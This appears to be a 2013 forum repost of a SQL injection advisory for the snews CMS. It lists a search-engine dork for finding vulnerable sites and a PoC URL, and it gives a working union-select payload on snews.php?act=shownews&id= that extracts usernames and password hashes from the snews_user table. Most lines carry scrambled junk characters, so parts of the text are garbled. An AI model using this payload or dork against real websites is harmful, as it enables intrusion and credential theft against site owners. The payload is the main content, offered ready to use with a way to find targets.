标题: CMS snews SQL Injection Vulnerability
7 W: B- l e, G作者: By onestree
( a2 L/ S* N2 W4 q下载地址 : http://snewscms.com/
) i4 k; \0 I+ @' }, D: m$ Z3 I测试平台 : ubuntu 12.10 / win 7" N$ A0 `. `, K8 ]0 x- ~: e
关键词: inurl:"tanyakan pada rumput yang bergoyang") t P a* F/ u1 A
0 \* U7 I- g& U3 m" j
# a; p e9 v5 {" V( U$ g*************************************************************
, g( S; _" ?6 w5 [6 `
$ L5 [: I+ F% ]8 pSQL poc:
8 O% r/ u# J' N# i
) @$ M& |5 |$ K! H# phttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL], q' R. n: T3 u: k- V) W
/ O4 m3 G3 N: U s. a8 m示例
( x6 S$ Z Y0 d: O5 F4 a9 C" K
* D9 I# T) N0 Fhttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*& m( O5 U. d+ a1 s! }$ w+ g% H
9 N8 W+ i5 [0 Y# ~) t* K
2 y. b. [! g, C. M5 i4 Y% Q; l' F, r n致谢:
: \* B" h! T0 r3 i3 U' w, J! `* m 7 N- u9 v. }6 l5 w
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell7 U$ P, Q1 x% g R. N' q4 V
4 n" H+ J0 A T G indonesiancoder - moeslimh4x0r - go-coder* ?; m. B+ g/ L% C+ }/ Q* ]' w( r6 H
% c, B. q$ W' y; }1 x3 ?$ \spesial my hunny :*
& ~1 g- ^) Y: t2 h! K: k |
发表于 2013-1-23 08:55:06
收藏
支持
反对